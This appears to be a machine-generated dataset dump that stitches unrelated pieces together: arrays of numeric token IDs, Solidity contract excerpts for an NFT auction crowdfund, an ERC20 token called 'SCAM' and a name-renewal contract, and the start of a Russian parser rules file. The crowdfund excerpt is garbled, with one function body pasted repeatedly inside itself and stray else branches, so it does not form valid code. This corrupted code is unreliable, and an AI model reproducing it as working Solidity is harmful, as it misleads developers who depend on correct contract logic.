1688,
3245,
1887,
13,
534,
1861,
18485,
5752,
2628,
24899,
303,
1688,
3245,
1887,
16,
315,
5185,
7923,
288,
203,
3639,
1177,
273,
404,
31,
203,
3639,
309,
12,
5,
588,
7464,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
8920,
26857,
16,
315,
12411,
329,
6,
3719,
3719,
288,
203,
5411,
444,
5568,
7464,
2932,
5185,
18,
9297,
18,
70,
26488,
18,
5745,
3113,
638,
1769,
203,
5411,
444,
5568,
7464,
2932,
5185,
18,
9297,
18,
683,
1242,
18,
5745,
3113,
638,
1769,
203,
5411,
444,
5568,
5487,
2932,
5185,
18,
2159,
18,
21386,
18,
323,
889,
18,
3676,
3113,
25430,
225,
2437,
1769,
203,
5411,
444,
5568,
5487,
2932,
5185,
18,
266,
451,
18,
12910,
2045,
287,
18,
3299,
3113,
374,
18,
21,
225,
2437,
1769,
203,
5411,
444,
7464,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
8920,
26857,
16,
315,
12411,
329,
7923,
3631,
638,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xce636adbFCdB6c487c69D4f92603714c2450a0c9/sources/contracts/crowdfund/RollingAuctionCrowdfund.sol | @notice A crowdfund that can repeatedly bid on auctions for an NFT from a specific collection on a specific market (e.g. Nouns) and can continue bidding on new auctions until it wins. | contract RollingAuctionCrowdfund is AuctionCrowdfundBase {
using LibSafeERC721 for IERC721;
using LibSafeCast for uint256;
using LibRawResult for bytes;
pragma solidity 0.8.20;
struct RollOverArgs {
uint256 nextNftTokenId;
uint256 nextAuctionId;
uint96 nextMaximumBid;
bytes32[] proof;
uint256 hostIndex;
}
event AuctionUpdated(uint256 nextNftTokenId, uint256 nextAuctionId, uint256 nextMaximumBid);
error BadNextAuctionError();
bytes32 public allowedAuctionsMerkleRoot;
constructor(IGlobals globals) AuctionCrowdfundBase(globals) {}
function initialize(
AuctionCrowdfundBase.AuctionCrowdfundOptions memory opts,
bytes32 allowedAuctionsMerkleRoot_
) external payable onlyConstructor {
AuctionCrowdfundBase._initialize(opts);
allowedAuctionsMerkleRoot = allowedAuctionsMerkleRoot_;
}
function finalize(
FixedGovernanceOpts memory governanceOpts,
ProposalStorage.ProposalEngineOpts memory proposalEngineOpts
) external onlyDelegateCall returns (Party party_) {
RollOverArgs memory args;
return finalizeOrRollOver(args, governanceOpts, proposalEngineOpts);
}
function finalizeOrRollOver(
RollOverArgs memory args,
FixedGovernanceOpts memory governanceOpts,
ProposalStorage.ProposalEngineOpts memory proposalEngineOpts
) public onlyDelegateCall returns (Party party_) {
CrowdfundLifecycle lc = getCrowdfundLifecycle();
if (lc != CrowdfundLifecycle.Active && lc != CrowdfundLifecycle.Expired) {
revert WrongLifecycleError(lc);
}
_finalizeAuction(lc, market, auctionId, lastBid_);
IERC721 nftContract_ = nftContract;
uint256 nftTokenId_ = nftTokenId;
if (nftContract_.safeOwnerOf(nftTokenId_) == address(this) && lastBid_ != 0) {
party_ = _createParty(
governanceOpts,
proposalEngineOpts,
false,
nftContract,
nftTokenId
);
emit Won(lastBid, party_);
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
lastBid = 0;
emit Lost();
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
if (allowedAuctionsMerkleRoot != bytes32(0)) {
if (
!MerkleProof.verify(
args.proof,
allowedAuctionsMerkleRoot,
keccak256(
abi.encodePacked(bytes32(0), args.nextAuctionId, args.nextNftTokenId)
)
)
) {
revert BadNextAuctionError();
}
}
if (args.nextMaximumBid < minimumBid) {
revert MinimumBidExceedsMaximumBidError(minimumBid, args.nextMaximumBid);
}
auctionId = args.nextAuctionId;
maximumBid = args.nextMaximumBid;
lastBid = 0;
emit AuctionUpdated(args.nextNftTokenId, args.nextAuctionId, args.nextMaximumBid);
}
}
function finalizeOrRollOver(
RollOverArgs memory args,
FixedGovernanceOpts memory governanceOpts,
ProposalStorage.ProposalEngineOpts memory proposalEngineOpts
) public onlyDelegateCall returns (Party party_) {
CrowdfundLifecycle lc = getCrowdfundLifecycle();
if (lc != CrowdfundLifecycle.Active && lc != CrowdfundLifecycle.Expired) {
revert WrongLifecycleError(lc);
}
_finalizeAuction(lc, market, auctionId, lastBid_);
IERC721 nftContract_ = nftContract;
uint256 nftTokenId_ = nftTokenId;
if (nftContract_.safeOwnerOf(nftTokenId_) == address(this) && lastBid_ != 0) {
party_ = _createParty(
governanceOpts,
proposalEngineOpts,
false,
nftContract,
nftTokenId
);
emit Won(lastBid, party_);
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
lastBid = 0;
emit Lost();
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
if (allowedAuctionsMerkleRoot != bytes32(0)) {
if (
!MerkleProof.verify(
args.proof,
allowedAuctionsMerkleRoot,
keccak256(
abi.encodePacked(bytes32(0), args.nextAuctionId, args.nextNftTokenId)
)
)
) {
revert BadNextAuctionError();
}
}
if (args.nextMaximumBid < minimumBid) {
revert MinimumBidExceedsMaximumBidError(minimumBid, args.nextMaximumBid);
}
auctionId = args.nextAuctionId;
maximumBid = args.nextMaximumBid;
lastBid = 0;
emit AuctionUpdated(args.nextNftTokenId, args.nextAuctionId, args.nextMaximumBid);
}
}
uint96 lastBid_ = lastBid;
function finalizeOrRollOver(
RollOverArgs memory args,
FixedGovernanceOpts memory governanceOpts,
ProposalStorage.ProposalEngineOpts memory proposalEngineOpts
) public onlyDelegateCall returns (Party party_) {
CrowdfundLifecycle lc = getCrowdfundLifecycle();
if (lc != CrowdfundLifecycle.Active && lc != CrowdfundLifecycle.Expired) {
revert WrongLifecycleError(lc);
}
_finalizeAuction(lc, market, auctionId, lastBid_);
IERC721 nftContract_ = nftContract;
uint256 nftTokenId_ = nftTokenId;
if (nftContract_.safeOwnerOf(nftTokenId_) == address(this) && lastBid_ != 0) {
party_ = _createParty(
governanceOpts,
proposalEngineOpts,
false,
nftContract,
nftTokenId
);
emit Won(lastBid, party_);
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
lastBid = 0;
emit Lost();
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
if (allowedAuctionsMerkleRoot != bytes32(0)) {
if (
!MerkleProof.verify(
args.proof,
allowedAuctionsMerkleRoot,
keccak256(
abi.encodePacked(bytes32(0), args.nextAuctionId, args.nextNftTokenId)
)
)
) {
revert BadNextAuctionError();
}
}
if (args.nextMaximumBid < minimumBid) {
revert MinimumBidExceedsMaximumBidError(minimumBid, args.nextMaximumBid);
}
auctionId = args.nextAuctionId;
maximumBid = args.nextMaximumBid;
lastBid = 0;
emit AuctionUpdated(args.nextNftTokenId, args.nextAuctionId, args.nextMaximumBid);
}
}
} else if (lc == CrowdfundLifecycle.Expired) {
} else {
function finalizeOrRollOver(
RollOverArgs memory args,
FixedGovernanceOpts memory governanceOpts,
ProposalStorage.ProposalEngineOpts memory proposalEngineOpts
) public onlyDelegateCall returns (Party party_) {
CrowdfundLifecycle lc = getCrowdfundLifecycle();
if (lc != CrowdfundLifecycle.Active && lc != CrowdfundLifecycle.Expired) {
revert WrongLifecycleError(lc);
}
_finalizeAuction(lc, market, auctionId, lastBid_);
IERC721 nftContract_ = nftContract;
uint256 nftTokenId_ = nftTokenId;
if (nftContract_.safeOwnerOf(nftTokenId_) == address(this) && lastBid_ != 0) {
party_ = _createParty(
governanceOpts,
proposalEngineOpts,
false,
nftContract,
nftTokenId
);
emit Won(lastBid, party_);
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
lastBid = 0;
emit Lost();
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
if (allowedAuctionsMerkleRoot != bytes32(0)) {
if (
!MerkleProof.verify(
args.proof,
allowedAuctionsMerkleRoot,
keccak256(
abi.encodePacked(bytes32(0), args.nextAuctionId, args.nextNftTokenId)
)
)
) {
revert BadNextAuctionError();
}
}
if (args.nextMaximumBid < minimumBid) {
revert MinimumBidExceedsMaximumBidError(minimumBid, args.nextMaximumBid);
}
auctionId = args.nextAuctionId;
maximumBid = args.nextMaximumBid;
lastBid = 0;
emit AuctionUpdated(args.nextNftTokenId, args.nextAuctionId, args.nextMaximumBid);
}
}
function finalizeOrRollOver(
RollOverArgs memory args,
FixedGovernanceOpts memory governanceOpts,
ProposalStorage.ProposalEngineOpts memory proposalEngineOpts
) public onlyDelegateCall returns (Party party_) {
CrowdfundLifecycle lc = getCrowdfundLifecycle();
if (lc != CrowdfundLifecycle.Active && lc != CrowdfundLifecycle.Expired) {
revert WrongLifecycleError(lc);
}
_finalizeAuction(lc, market, auctionId, lastBid_);
IERC721 nftContract_ = nftContract;
uint256 nftTokenId_ = nftTokenId;
if (nftContract_.safeOwnerOf(nftTokenId_) == address(this) && lastBid_ != 0) {
party_ = _createParty(
governanceOpts,
proposalEngineOpts,
false,
nftContract,
nftTokenId
);
emit Won(lastBid, party_);
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
lastBid = 0;
emit Lost();
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
if (allowedAuctionsMerkleRoot != bytes32(0)) {
if (
!MerkleProof.verify(
args.proof,
allowedAuctionsMerkleRoot,
keccak256(
abi.encodePacked(bytes32(0), args.nextAuctionId, args.nextNftTokenId)
)
)
) {
revert BadNextAuctionError();
}
}
if (args.nextMaximumBid < minimumBid) {
revert MinimumBidExceedsMaximumBidError(minimumBid, args.nextMaximumBid);
}
auctionId = args.nextAuctionId;
maximumBid = args.nextMaximumBid;
lastBid = 0;
emit AuctionUpdated(args.nextNftTokenId, args.nextAuctionId, args.nextMaximumBid);
}
}
} else {
_assertIsHost(msg.sender, governanceOpts, proposalEngineOpts, args.hostIndex);
_validateAuction(market, args.nextAuctionId, nftContract, args.nextNftTokenId);
uint256 minimumBid = market.getMinimumBid(args.nextAuctionId);
function finalizeOrRollOver(
RollOverArgs memory args,
FixedGovernanceOpts memory governanceOpts,
ProposalStorage.ProposalEngineOpts memory proposalEngineOpts
) public onlyDelegateCall returns (Party party_) {
CrowdfundLifecycle lc = getCrowdfundLifecycle();
if (lc != CrowdfundLifecycle.Active && lc != CrowdfundLifecycle.Expired) {
revert WrongLifecycleError(lc);
}
_finalizeAuction(lc, market, auctionId, lastBid_);
IERC721 nftContract_ = nftContract;
uint256 nftTokenId_ = nftTokenId;
if (nftContract_.safeOwnerOf(nftTokenId_) == address(this) && lastBid_ != 0) {
party_ = _createParty(
governanceOpts,
proposalEngineOpts,
false,
nftContract,
nftTokenId
);
emit Won(lastBid, party_);
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
lastBid = 0;
emit Lost();
emit BatchMetadataUpdate(0, type(uint256).max);
_bidStatus = AuctionCrowdfundStatus.Finalized;
if (allowedAuctionsMerkleRoot != bytes32(0)) {
if (
!MerkleProof.verify(
args.proof,
allowedAuctionsMerkleRoot,
keccak256(
abi.encodePacked(bytes32(0), args.nextAuctionId, args.nextNftTokenId)
)
)
) {
revert BadNextAuctionError();
}
}
if (args.nextMaximumBid < minimumBid) {
revert MinimumBidExceedsMaximumBidError(minimumBid, args.nextMaximumBid);
}
auctionId = args.nextAuctionId;
maximumBid = args.nextMaximumBid;
lastBid = 0;
emit AuctionUpdated(args.nextNftTokenId, args.nextAuctionId, args.nextMaximumBid);
}
}
nftTokenId = args.nextNftTokenId;
_bidStatus = AuctionCrowdfundStatus.Active;
}
| 9,727,785 | [
1,
37,
276,
492,
2180,
1074,
716,
848,
30412,
9949,
603,
279,
4062,
87,
364,
392,
423,
4464,
628,
279,
540,
2923,
1849,
603,
279,
2923,
13667,
261,
73,
18,
75,
18,
423,
465,
87,
13,
471,
848,
540,
1324,
324,
1873,
310,
603,
394,
279,
4062,
87,
3180,
518,
31307,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
29495,
37,
4062,
39,
492,
2180,
1074,
353,
432,
4062,
39,
492,
2180,
1074,
2171,
288,
203,
565,
1450,
10560,
9890,
654,
39,
27,
5340,
364,
467,
654,
39,
27,
5340,
31,
203,
565,
1450,
10560,
9890,
9735,
364,
2254,
5034,
31,
203,
565,
1450,
10560,
4809,
1253,
364,
1731,
31,
203,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
3462,
31,
203,
565,
1958,
31291,
4851,
2615,
288,
203,
3639,
2254,
5034,
1024,
50,
1222,
1345,
548,
31,
203,
3639,
2254,
5034,
1024,
37,
4062,
548,
31,
203,
3639,
2254,
10525,
1024,
13528,
17763,
31,
203,
3639,
1731,
1578,
8526,
14601,
31,
203,
3639,
2254,
5034,
1479,
1016,
31,
203,
565,
289,
203,
203,
565,
871,
432,
4062,
7381,
12,
11890,
5034,
1024,
50,
1222,
1345,
548,
16,
2254,
5034,
1024,
37,
4062,
548,
16,
2254,
5034,
1024,
13528,
17763,
1769,
203,
203,
565,
555,
6107,
2134,
37,
4062,
668,
5621,
203,
203,
203,
203,
565,
1731,
1578,
1071,
2935,
37,
4062,
87,
8478,
15609,
2375,
31,
203,
565,
3885,
12,
3047,
1295,
1031,
10941,
13,
432,
4062,
39,
492,
2180,
1074,
2171,
12,
16227,
13,
2618,
203,
565,
445,
4046,
12,
203,
3639,
432,
4062,
39,
492,
2180,
1074,
2171,
18,
37,
4062,
39,
492,
2180,
1074,
1320,
3778,
1500,
16,
203,
3639,
1731,
1578,
2935,
37,
4062,
87,
8478,
15609,
2375,
67,
203,
565,
262,
3903,
8843,
429,
1338,
6293,
288,
203,
3639,
432,
4062,
39,
492,
2180,
1074,
2171,
6315,
11160,
12,
4952,
1769,
203,
203,
3639,
2935,
2
] |
./partial_match/1/0xe2f3F79C94e082accFa31FCC823420A4839Cb46e/sources/SCAM.sol | exclude from paying fees or having max transaction amount | constructor() ERC20("SendCoinAboveMillies","$SCAM") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 3;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 3;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = totalSupply * 2 / 100;
maxWallet = totalSupply * 2 / 100;
swapTokensAtAmount = totalSupply * 10 / 1000;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
| 3,886,687 | [
1,
10157,
628,
8843,
310,
1656,
281,
578,
7999,
943,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
4232,
39,
3462,
2932,
3826,
27055,
25477,
30388,
281,
15937,
8,
2312,
2192,
7923,
288,
203,
7010,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
20,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
1769,
203,
540,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
24899,
318,
291,
91,
438,
58,
22,
8259,
3631,
638,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
7010,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
1435,
2934,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
3639,
389,
542,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
7010,
3639,
2254,
5034,
389,
70,
9835,
3882,
21747,
14667,
273,
225,
890,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
48,
18988,
24237,
14667,
273,
225,
374,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
8870,
14667,
2
] |
pragma solidity ^0.5.3;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@ensdomains/ethregistrar/contracts/StringUtils.sol";
import "@rsksmart/erc677/contracts/ERC677.sol";
import "@rsksmart/erc677/contracts/ERC677TransferReceiver.sol";
import "./NodeOwner.sol";
import "./PricedContract.sol";
import "./AbstractNamePrice.sol";
import "./BytesUtils.sol";
/// @title Simple renewer.
/// @notice You can use this contract to renew names registered in Node Owner.
/// @dev This contract has permission to renew in Node Owner.
contract Renewer is PricedContract, ERC677TransferReceiver {
using SafeMath for uint256;
using StringUtils for string;
using BytesUtils for bytes;
ERC677 rif;
NodeOwner nodeOwner;
address pool;
// sha3('renew(string,uint)')
bytes4 constant RENEW_SIGNATURE = 0x14b1a4fc;
constructor (
ERC677 _rif,
NodeOwner _nodeOwner,
address _pool,
AbstractNamePrice _namePrice
) public PricedContract(_namePrice) {
rif = _rif;
nodeOwner = _nodeOwner;
pool = _pool;
}
// - Via ERC-20
/// @notice Renews a name in Node Owner.
/// @dev This method should be called if the owned.
/// @param name The name to register.
/// @param duration Time to register in years.
function renew(string calldata name, uint duration) external {
uint cost = executeRenovation(name, duration);
require(rif.transferFrom(msg.sender, pool, cost), "Token transfer failed");
}
// - Via ERC-677
/* Encoding:
| signature | 4 bytes - offset 0
| duration | 32 bytes - offset 4
| name | variable size - offset 36
*/
/// @notice ERC-677 token fallback function.
/// @dev Follow 'Register encoding' to execute a one-transaction regitration.
/// @param from token sender.
/// @param value amount of tokens sent.
/// @param data data associated with transaction.
/// @return true if successfull.
function tokenFallback(address from, uint value, bytes calldata data) external returns (bool) {
require(msg.sender == address(rif), "Only RIF token");
require(data.length > 36, "Invalid data");
bytes4 signature = data.toBytes4(0);
require(signature == RENEW_SIGNATURE, "Invalid signature");
uint duration = data.toUint(4);
string memory name = data.toString(36, data.length.sub(36));
renewWithToken(name, duration, from, value);
return true;
}
function renewWithToken(string memory name, uint duration, address from, uint amount) private {
uint cost = executeRenovation(name, duration);
require(amount >= cost, "Not enough tokens");
require(rif.transfer(pool, cost), "Token transfer failed");
if (amount.sub(cost) > 0)
require(rif.transfer(from, amount.sub(cost)), "Token transfer failed");
}
/// @notice Executes renovation abstracted from payment method.
/// @param name The name to renew.
/// @param duration Time to renew in years.
/// @return price Price of the name to register.
function executeRenovation(string memory name, uint duration) private returns(uint) {
bytes32 label = keccak256(abi.encodePacked(name));
nodeOwner.renew(label, duration.mul(365 days));
return price(name, nodeOwner.expirationTime(uint(label)), duration);
}
}
| @notice ERC-677 token fallback function. @dev Follow 'Register encoding' to execute a one-transaction regitration. @param from token sender. @param value amount of tokens sent. @param data data associated with transaction. @return true if successfull. | function tokenFallback(address from, uint value, bytes calldata data) external returns (bool) {
require(msg.sender == address(rif), "Only RIF token");
require(data.length > 36, "Invalid data");
bytes4 signature = data.toBytes4(0);
require(signature == RENEW_SIGNATURE, "Invalid signature");
uint duration = data.toUint(4);
string memory name = data.toString(36, data.length.sub(36));
renewWithToken(name, duration, from, value);
return true;
}
| 12,657,314 | [
1,
654,
39,
17,
26,
4700,
1147,
5922,
445,
18,
225,
16093,
296,
3996,
2688,
11,
358,
1836,
279,
1245,
17,
7958,
960,
305,
7034,
18,
225,
628,
1147,
5793,
18,
225,
460,
3844,
434,
2430,
3271,
18,
225,
501,
501,
3627,
598,
2492,
18,
327,
638,
309,
2216,
2854,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1147,
12355,
12,
2867,
628,
16,
2254,
460,
16,
1731,
745,
892,
501,
13,
3903,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
1758,
12,
86,
430,
3631,
315,
3386,
534,
5501,
1147,
8863,
203,
3639,
2583,
12,
892,
18,
2469,
405,
6580,
16,
315,
1941,
501,
8863,
203,
203,
3639,
1731,
24,
3372,
273,
501,
18,
869,
2160,
24,
12,
20,
1769,
203,
203,
3639,
2583,
12,
8195,
422,
534,
1157,
7245,
67,
26587,
16,
315,
1941,
3372,
8863,
203,
203,
3639,
2254,
3734,
273,
501,
18,
869,
5487,
12,
24,
1769,
203,
3639,
533,
3778,
508,
273,
501,
18,
10492,
12,
5718,
16,
501,
18,
2469,
18,
1717,
12,
5718,
10019,
203,
203,
3639,
15723,
1190,
1345,
12,
529,
16,
3734,
16,
628,
16,
460,
1769,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// -----------------------------------------------------------------------------
// File RUS_SA_COMPARATIVEADJ_2_NOUN.SOL
//
// (c) Koziev Elijah
//
// Content:
// Синтаксический анализатор: связь сравнительных прилагательных
// с существительными
//
// Подробнее о правилах: http://www.solarix.ru/for_developers/docs/rules.shtml
// -----------------------------------------------------------------------------
//
// CD->23.06.1995
// LC->12.08.2009
// --------------
#include "aa_rules.inc"
#pragma floating off
automat aa
{
operator Comparative2Noun_1 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее, ЧЕМ СОБАКА'
if context {
@or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } )
_Запятая
СОЮЗ:ЧЕМ{}
СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ }
}
then
context { 0 .<ATTRIBUTE> 3 }
}
operator Comparative2Noun_2 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее, ЧЕМ ОДНА СОБАКА'
if context { @or( ПРИЛАГАТЕЛЬНОЕ:* { СТЕПЕНЬ:СРАВН }, Наречие:* { СТЕПЕНЬ:СРАВН } ) _Запятая СОЮЗ:ЧЕМ{} ЧИСЛИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } }
then
context { 0 .<ATTRIBUTE> 3 }
}
operator Comparative2Noun_3 : LINK_COMPARATIVE_ADJ_2_NOUN
{
// 'КОШКА сильнее, ЧЕМ 1 СОБАКА'
